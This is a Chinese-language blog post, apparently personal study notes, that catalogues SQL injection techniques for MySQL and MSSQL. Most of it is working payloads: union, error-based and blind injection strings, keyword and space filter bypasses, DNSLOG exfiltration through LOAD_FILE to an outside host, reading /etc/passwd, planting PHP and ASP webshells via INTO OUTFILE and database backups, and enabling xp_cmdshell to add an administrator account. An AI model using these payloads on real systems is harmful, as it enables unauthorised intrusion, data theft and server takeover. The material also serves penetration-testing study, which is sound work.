SQL注入利用及绕过总结

概述

SQL注入指用户输入的参数可控且没有被过滤,攻击者输入的恶意代码被传到后端与SQL语句一起构造并在数据库中执行

不同数据库的利用可能存在略微差异,以MySQL为例介绍,其他数据库差异见文末


注入姿势

普通查询注入

判断漏洞是否存在

数字型

例如后端SQL语句长这样

select * from article where artid = 1 and xxxxx;

GET的请求参数是artid,可以在参数值后面输入单引号,此时数据库无法执行就会报错,说明存在SQL注入

?artid=1'

# select * from article where artid = 1' and xxxx;

通过and 1=1 ,and 1=2 判断

?artid=1 and 1=1
?artid=2 and 1=2
# select * from article where artid = 1 and 1=1 and xxxx;
# 若and 1=1页面回显正常,and 1=2 回显不正常 ,则说明拼接成功

需要注意的是,在测试删除功能时尽量不要使用and 1=1,否则可能会将数据全部删除

字符型

与数字型类似,只是要注意单引号/双引号/括号的闭合,可以在最后加上注释符把后面的闭合符号和语句直接注释掉

判断字段数

?artid=1 order by 4
# 遍历数字,页面内容回显正常说明列数正确

order by 无法使用时,可以通过SELECT NULL判断

?artid=1 SELECT NULL, NULL, NULL, NULL

暴库名

?artid=-1 union select 1, database(), 3, 4

暴表名

?artid=-1 union select 1,group_concat(table_name), 3, 4 from information_schema.tables where table_schema=xxx

报错注入

很多Web程序没有内容回显,这样就需要我们利用报错注入的方式来进行SQL注入了

报错常用的函数

floor

id=1 and select count(*),floor(rand(0)*2) x from xxx group by x;

extractvalue

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

exp

id=1 and exp(~(select * from(select user())a));

盲注

Boolean盲注

盲注常用的函数

length() 	# 返回字符串的长度
substr() 	# 截取字符串 (语法:SUBSTR(str,pos,len)) 
ascii() 	# 返回字符的ascii码   [将字符变为数字wei]
sleep() 	# 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) # 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

注入步骤

1.判断数据库名字的长度

?id=1 and length(database()) > 7

2.猜解数据库名

?id=1 and substr(database(), 1, 1) = 's'

可以使用burp或者python脚本进行遍历猜解

时间盲注

注入方法

1.判断注入点

根据页面回显判断

1" and 1=1-- # 页面返回有数据
1" and 2=2-- # 页面返回有数据

用sleep()判断,如果响应延时了5s说明存在时间盲注

" and sleep(5)--

2.猜解当前数据库名称长度

" and if((length(database()))=12,sleep(5),1)-- 

3.用ASCII码猜解当前数据库名称

" and if(ascii(substr(database(),1,1))=107,sleep(5),1)-- 

更新注入

更新类的操作的返回结果都是布尔型,无法返回数据

insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));

堆叠注入

利用条件:可以同时执行多条sql语句
例如php中的mysql_multi_query(),pymysql中的cursor.execute()支持多条sql语句同时执行

select * from users;show databases; 

二次注入

利用条件:知道数据库中的列名且使用了magic_quote_gpc等对引号过滤

原理:用户向数据库里存入恶意的数据,在数据被插入到数据库之前,会对数据库进行转义处理,但用户输入的数据的内容肯定是一点摸样也不会变的存进数据库里,而一般都默认为数据库里的信息都是安全的,查询的时候不会进行处理,所以当用户的恶意数据被web程序调用的时候就有可能出发SQL注入。

例如原语句:

$ sql = "UPDATE users SET PASSWORD='$pass' where username='$ username' and password='$ curr_pass' ";

我们的用户名被admin'#传入进去,在数据库里#号为注释符 然后这句话就变成了

$ sql = "UPDATE users SET PASSWORD='$pass' where username='admin' #' and password='$curr_pass' ";

$ sql = "UPDATE users SET PASSWORD=’$pass’ where username=’admin‘

宽字节注入

利用条件:数据库使用了GBK编码,使用magic_quotes_gpc对引号过滤

magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符'',来做一定的过滤

\的编码是%5c,输入%df',经过过滤处理后会变成%df\'也就是%df%5c,GBK编码中文字符'運'

SELECT * FROM users WHERE id='1%df%5c'and 1=1--+' LIMIT 0,1
SELECT * FROM `article` where articleid = '1%df%5c'and 1=1 --+' LIMIT 0,1
payload:%df'and 1=1 --+'

二次编码注入

利用条件:目标站点使用了urldecode()解码

urldecode()与PHP本身处理编码时,两者配合失误,可构造数据绕过

%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'

其他利用方式

DNSLOG 外带注入

目标站点没有回显,不知道是否利用成功时,就需要DNSLOG注入

Windows中允许使用UNC路径访问网络 \\计算机名或IP地址\共享名称\路径

利用前提:

  1. secure_file_priv=值为空
  2. 目标出网
  3. 有文件读取写入的权限,例如root

在数据库中执行以下命令,查看DNSLOG平台

SELECT LOAD_FILE('\\\\fekvlt.dnslog.cn\\aa');

image-20241007142624121

将要查询的内容带出来

SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.fekvlt.dnslog.cn\\a'));

image-20241007143442024

MySQL写webshell

拿下数据库后如果有权限的话可以读取文件或者写入webshell

利用前提

1.secure_file_priv为空

show global variables like '%secure%'

secure_file_priv = 任意路径读写
secure_file_priv = path 只能在该指定路径下读写
secure_file_priv = null 不能读写

2.具有写入文件权限

3.知道网站绝对路径

写入文件

使用into outfile()将一句话写入网站目录

select '<?php @eval($_POST[CMD]); ?>' into outfile '\/var\/www\/html\/shell.php';

读取文件

load_file()函数读取文件

?id=-2 union select 1, 2, 3, load_file('//etc//passwd'), 5

常见绕过方式

注释符

'#', '--+', '-- -', '%23', '%00', '/**/'

"and、or" 过滤

# 可以使用"&&"和"||"代替
?id=1 && 1=1 --+

# 盲注,异或运算相同为0,不同为1;根据返回值0,1判断
?id=1 union select (substr(database(),1,1)='s') ^ 0 --

关键词过滤

  • 大小写绕过

    id=-1' UnIoN SeLeCT xxx
    
  • 双写绕过

    适用于将关键词置空的场景

    id=-1'UNIunionONSeLselectECT1,2,3–-
    
  • 编码绕过

    可以使用URL,hex,ASCII等编码绕过

    例如'or 1=1

    27%20%4F%52%201%3D%31%20%2D%2D
    
  • 注释绕过

    内联注释/**/将关键词分隔开

    id=1' UN/**/ION SE/**/LECT database() --
    

空格过滤

  • 内联注释代替空格

    id=1/**/and/**/1=1
    
  • 括号嵌套

    select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());
    
  • 制表符、换行、不可见空格

    %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)

  • 反引号

    union(select`table_name`,`table_type`from`information_schema`.`tables`);
    

比较符号 "=、<、>"过滤

  • in()

    ascii(substr(select database(),1,1)) in(115);	//根据回显判断
    
  • like

    like代替'='

  • 正则表达式

    select database() regexp '^s'; //根据回显判断
    

逗号过滤

逗号被过滤时可以使用from...for...

select substr(select database() from 1 for 1);
select substr(select database() from 2 for 1);

limit中的逗号可以替换成offset

select * from users limit 1 offset 2;

需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行

False注入

select * from users where username = 0;		# 查询表中所有数据

其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

绕过引号构造0的方法

select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';

等价函数

  • if()=> case...when..then...else...end
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
  • sleep() => benchmark()

​ benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断

  • concat_ws() => group_concat()
select group_concat(database());
=
select concat_ws(1,database());
  • substr() => substring() / lpad() / rpad() / left() / mid()

其他数据库

MSSQL(SQLServer)

SQLServer的最高权限用户不是root,而是sa(sysadmin)

xtypesysobjects表中的列,用于标识数据库对象类型的属性,例如xtype="u"表示用户表

收集信息

判断数据库

根据页面回显是否正常判断(sysobjects是MSSQL特有的系统表)

?id=1 and (select count(*) from sysobjects)>0 --
判断权限

也是根据页面回显去判断

and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));-

报错注入

数据库版本

SQL Server是强类型,1是int型,查询的版本是字符型,类型不一致所以报错

?id=1 and 1=(select @@version)
数据库名

top 1表示只显示首条记录,master是mssql默认的数据库,sysdatabases是视图,dbid<=4的都是系统自带的库

?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4)

爆第二个数据库名,假设第一个爆出来的test

?id=1 and 1=(select top 1 name from master..sysdatabases where dbid>4 and name !='test')

爆出所有数据库名

?id=1 and 1=(select name from master..sysdatabases for xml path)
表名

查询第一个用户表

?id=1 and 1=(select top 1 name from sysobjects where xtype='u')

其他方式与查数据库名相同

列名

查询出'users'表对应的ID,然后根据ID去syscolumns表查询列名

?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='users'))

盲注

时间盲注
id=1 and WAITFOR DELAY '00:00:05'-- 
?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:2'--
布尔盲注

substring()函数,用法同MySQL

其他利用方式

xp_cmdshell

判断是否存在

SELECT COUNT(*) FROM master.dbo.sysobjects WHERE xtype='x' AND name='xp_cmdshell' -- 1存在,0不存在

通过xp_cmdshell可以执行系统命令,在SQLServer2005后默认禁止,如果有SA权限可以手动开启

-- 开启
EXEC sp_configure 'show advanced options', 1;reconfigure;
EXEC sp_configure 'xp_cmdshell',1;reconfigure;
-- 关闭
EXEC sp_configure 'show advanced options', 1;reconfigure;
EXEC sp_configure 'xp_cmdshell', 0;reconfigure

执行系统命令

?id=1;EXEC master..xp_cmdshell "net localgroup administrators test /add"
写webshell
查询网站根目录
/* 列出 C 盘根目录下的所有文件夹 */
EXEC master..xp_dirtree '/var/www/html',1
/* 列出 C 盘根目录下的所有文件夹 */
EXEC master..xp_dirtree '/var/www/html',1,1

创建空表,将查询的结果插入表中,然后查看表

?id=-1;create table temp (dir varchar(8000),num int,num1 int);
?id=-1;insert into temp(dir, num, num1) execute master..xp_dirtree '/var/www/html',1,1
差异备份 Getshell

前提条件

  • 知道网站根路径
  • 对写入目录具有文件写入的权限
  • 数据量不能太大
/* 必须先完整备份一次,test是数据库名 */
?id=-1;backup database test to disk = 'C:\inetpub\wwwroot\public\test.bak';
/* 创建一张临时表 */
?id=-1;create table [dbo].[test] ([cmd] [image]);
/* 向表中插入一句话 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
/* 再次备份,注意路径 */
?id=-1;backup database test to disk='/var/www/html/shell.asp' WITH DIFFERENTIAL,FORMAT;
日志备份 Getshell

前提条件

  • DBA权限
  • 知道网站根目录
  • 写入目录有写入权限
  • 数据库必须备份过一次
/* 把指定的数据库激活为还原模式,test是数据库名 */
?id=-1;alter database test set RECOVERY FULL;
/* 创建一张临时表 */
?id=-1;create table test (cmd image);
/* 先将数据库日志备份一次 */
?id=-1;backup log FoundStone_Bank to disk = '/var/www/html' with init;
/* 向表中插入一句话 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test (cmd) values (0x3C25657865637574652872657175657374282261222929253E);
/* 再将数据库日志备份一次,写入 WebShell */
?id=-1;backup log FoundStone_Bank to disk = '/var/www/html/shell.asp';

学习过程进行的整理,有问题欢迎指正

史上最详细的sqlServer手工注入详解-腾讯云开发者社区-腾讯云

[干货 | MSSQL注入和漏洞利用姿势总结-腾讯云开发者社区-腾讯云](

posted @ 2023-11-02 10:43  Mast1n  阅读(1211)  评论(0编辑  收藏  举报